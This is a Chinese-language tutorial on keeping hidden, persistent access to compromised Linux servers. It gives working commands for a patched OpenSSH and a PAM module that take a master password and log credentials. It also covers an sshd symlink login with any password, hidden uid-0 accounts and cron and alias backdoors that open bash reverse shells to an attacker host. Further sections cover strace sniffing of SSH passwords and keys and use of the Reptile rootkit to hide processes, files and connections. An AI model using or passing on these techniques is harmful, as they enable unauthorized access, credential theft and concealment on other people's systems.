Openssh后门
重新安装自定义的openssh,达到记录账户密码,也可以采用万能密码连接的功能
1、登录方式
2、登录软件
3、登录机制
环境准备
yum -y install openssl openssl-devel pam-devel zlib zlib-devel
yum -y install gcc gcc-c++ make
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gzwget https://mirror.aarnet.edu.au/pub/0penBSD/0penSSH/portable/openssh-5.9p1.tar.gztar -xzvf openssh-5.9p1.tar.gztar -xzvf 0x06-openssh-5.9p1.patch.tar.gzcp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1cd openssh-5.9p1 && patch < sshbd5.9p1.diff
2.编辑密码:
vim includes.h
#define ILOG "/tmp/ilog" #ILOG是别人用ssh登录该主机记录的日志记录
#define OLOG "/tmp/olog" #OLOG是该主机用ssh登录其他主机记录的日志目录
#define SECRETPW "hello" #设置万能密码为hello
通过万能密码登录成功或者失败都会在ilog和olog上做记录
3.安装编译
./configure --prefix=/usr--sysconfdir=/etc/ssh--with-pam --with-kerberos5 && make && make install
service sshd restart //重启服务
systemctl status sshd //查看服务状态
另一种方法就是发送数据到远程服务器上去
PAM启动替换
PAM是一种认证模块,PAM可以作为Linux登录验证和各类基础服务的人认证,简单来说就是一种用于Linux系统上的用户身份验证机制,进行验证时首先 确定是什么服务,然后加载对应的PAM配置文件,最后调用认证文件进行安全认证,简易利用的PAM后门也是通过修改PAM源码中的认证的逻辑来达到权限维持的
1.获取目标系统所使用的PAM版本,下载对应的pam版本
2.解压缩,修改pam_unix_auth.c文件,添加万能密码
3.编译安装PAM
4.编译完后的文件在:modules\pam_unix/.libs/pam_unix.so,复制到/lib64/security中进行替换,即使用万能密码登录,将用户名密码记录到文件中
配置环境
1.关闭selinux setenforce 0
2.查询版本 rpm -qa | grep pam //查询到是什么版本就去网上找对应版本,比如这个是1.1.8
wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz //下载对应版本tar -zxvf inux-PAM-1.1.8 //解压对应版本yum install gcc flex flex-devel -y //安装插件
编辑后门配置文件
编译安装
./configure &&make
备份替换
备份原有的pam_unix.so,防止出现错误登录不上
复制新PAM模块到/lib64/security目录下
cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp
cd Linux-PAM-1.1.8/modules/pam_unix/.libs
cp pam_unix.so /usr/lib64/security/pam_unix.so
登录测试即可
软链接方式
在sshd服务配置启用PAM认证的前提下,PAM配置文件中控制标志为sufficient时,只要pam_rookok模块检测uid为0(root)即可成功认证登录
SSH配置中开启了PAM进行身份验证 查看是否使用PAM进行身份验证 查看是否使用了PAM进行身份验证
cat /etc/ssh/sshd_config | grep UserPAM
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort 8888 //绑定到端口上了,端口不需要验证账号密码,所以可以直接登录
ssh root@xx.xx.xx.xx -p 8888 //任意密码登录进去即可
公私钥文件
1.开启支持
vim /etc/ssh/sshd_config
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
本地生成密钥
ssh-keygen -t rsa //三次回车
id_rsa //私钥
id_rsa.pub //公钥
复制公钥到服务器
cd /root/.ssh/
vim authorized_keys(id_rsa.pub) 就是复制公钥到这个authorized_keys目录中
chmod 600 authorized_keys
另外一种 **在服务器中弄一个密钥对文件,就是公钥私钥都在.ssh目录下,然后本地就可以无密码登录执行了 **
后门账号
添加root用户 添加账号test1,设置uid为0,密码为123456
第一种:useradd -p `openssl passwd -1 -salt 'hello' 123456` test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1
第二种:
echo "hello:x:0:0::/:/bin/sh" >>/etc/passwd #增加超级管理员账号passwd hello #修改账号的密码
一键植入权限维持: https://github.com/RuoJi6/HackerPermKeeper
计划任务的权限维持
1.安装nc,在攻击机上
yum update -y
yum install -y nc
一个是权限维持的目标,一个是我们自己的服务器
vim /etc/.shell.sh
#!/bin/bash
bash -i >&/dev/tcp/ip(公网服务器ip)/5555 0>&1
chmod +x /etc/.shell.sh
添加定时任务
vim /etc/crontab /var/spool/cron也是计划任务配置文件
*/1 * * * * root /etc/.shell.sh //每一分钟以root权限执行一次etc目录下的.shell.sh脚本反弹shell
攻击机开启监听,登录连接
nc -nlvp 5555
strace后门
1.记录sshd明文
(strace -f -F -p `ps aux | grep "sshd -D"| grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2 >/tmp/.sshd.log &)
grep -E 'read\(6,".+\\0\\0\\0\\.+"' /tmp/.sshd.log //查看用户连接的密码
2.记录sshd私钥
(strace -f -F -p `ps aux | grep "sshd -D"| grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2 >/tmp/.sshd.log &)
grep "PRIVATE_KEY" /tmp/.sshd.log
然后可以写一个脚本发送log到我的服务器,就可以一直知道服务器的密码了
alias后门
定义:alias ls='ls -la'
删除:unalias ls
1.利用
alias ls='alerts(){ls $* --color=auto;bash -i >&/dev/tcp/kali的ip/port 0>&1};alerts' //用户执行ls就会反弹shell了
工具维权
https://gitee.com/lmc9504/Reptile/repository/archive/master.zip
本地有下载过,可以去看一下 在安装这个工具的时候可以选择参数,然后可以设置隐藏的文件名,然后文件只要开头是我设置的文件名,就会隐藏
1.使用
/reptile/reptile_cmd hide //隐藏进程
/reptile/reptile_cmd show //查看进程
ps -ef | grep ping | grep -v grep //查看ping的进程id
/reptile/reptile_cmd hide 2792 //隐藏2792这个进程
ps -ef | grep ping | grep -v grep
2.隐藏链接
/reptile/reptile_cmd udp hide //隐藏udp连接
/reptile/reptile_cmd tcp show //查看tcp连接
netstat -antpu | grep 10.10.1.1 //查看连接
/reptile/reptile_cmd tcp 10.10.1.1 445 hide //隐藏这个网络连接
3.隐藏文件
文件名中带有reptile的都会被隐藏 ,因为我在安装的时候使用的就是reptile
自动化权限维持项目
https://github.com/RuoJi6/HackerPermKeeper
1.通过把check.py复制到目标主机可以检测当前系统可以部署哪些权限维持方法
2.然后在工具本地,也就是项目目录下运行main.py
python main.py -c l 查看可以部署的权限维持方式
python main.py -m 4 //生成4对应的权限维持payload
可以通过这个工具来写入计划任务